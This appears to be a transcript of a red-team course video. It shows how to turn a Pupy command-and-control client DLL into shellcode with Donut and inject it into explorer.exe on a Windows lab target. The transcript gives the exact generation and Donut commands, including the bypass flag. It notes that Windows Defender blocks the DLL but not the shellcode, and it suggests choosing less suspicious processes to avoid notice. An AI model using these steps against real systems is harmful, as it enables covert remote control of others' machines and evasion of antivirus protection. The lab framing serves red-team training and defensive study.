In this demo,
we're going to use Donut to generate shellcode from a DLL for process injection.
We will generate the necessary shellcode using Donut from our DLL.
Then we'll transfer it to our target and again use the built‑in
DonutTest to inject the code into a process on our target.
Using these features allows you to execute malicious code in memory
by exploiting vulnerabilities in the native API.
Let's head over to the lab and get started by generating our payload.
As I mentioned in the first demo,
I'm running Pupy as a command and control server using Docker.
The documentation on GitHub covers the installation of this tool.
I have a separate red team tools course covering Pupy's
usage that you can reference for its use.
One of the issues with Pupy though is that its clients
are prevented from executing on a Windows system due to
the built‑in Windows Defender.
We need a method of executing the payload on our target so we
can remotely control the target and take additional actions
using the built‑in tools Pupy offers.
First, let's generate the payload.
Using Pupy,
we can generate a client using the gen tool from the Pupy server interface.
To do that, we run the command gen ‑f client ‑O windows ‑A x64 ‑S,
followed by connect ‑‑host,
followed by the IP address of your Kali Linux machine,
:8443, the port this listener is using, and finally,
‑t ssl to set our transport method.
Once our client generates,
we'll find the DLL file in the output directory in our workspace.
Let's copy that to the payload directory and then generate
shellcode and move it to our client.
To generate the shellcode, we'll run donut ‑a 2 to select 64‑bit architecture,
‑b 3 to set our bypass level to continue on fail,
‑f 2 to set the output to Base64, and finally,
our file name from the payloads directory.
Now that our shellcode is generated, let's copy that to our payloads directory.
Now we'll head over to our Windows target,
and we'll refresh Internet Explorer, and once again,
let's go ahead and try to download this DLL and see what happens.
Again, it's flagged immediately, so we'll go to our shellcode,
and that downloads without issue.
So let's copy our shellcode and go back to Program.cs in Visual Studio Code,
and once again, we'll replace the string x64 with our new shellcode.
And then we'll go ahead and save this one as test2,
and we're ready to compile it.
Again, we can use the same csc.exe.
We'll just change everything to test2 and compile.
No issues there.
And now we just need to use ProcMgr again,
and we'll go ahead and try to inject into explorer.exe one more time.
This time I have a process ID of 3680.
So I'll run test2.exe followed by that process ID.
And it looks like our injection was successful.
So let's go over to Kali and check on our Pupy server.
And we have an open session, as you can see down here, with our target host.
Before we go over the recap,
let's take a closer look at explorer.exe using Process Explorer.
There's nothing obvious in this view, but if we go to the TCP/IP tab,
we can see that our host has an established connection to our remote server.
This will probably raise suspicion if anybody is monitoring their processes,
but you could always select other processes for
injection that may be less suspicious.
For a quick recap of this lesson,
we started off by using Donut to generate shellcode from our Pupy client file.
Then we moved the shellcode to our target and used
the DonutTest program to inject it.
We successfully injected the code into explorer.exe and
established a connection to our server.
This concludes all the demos for this course.
I hope you enjoyed going through each of these,
and if you want,
you can stick around for the next module where we'll go over some
additional resources you can use to learn more about Donut's capabilities
and explore different techniques for process injection.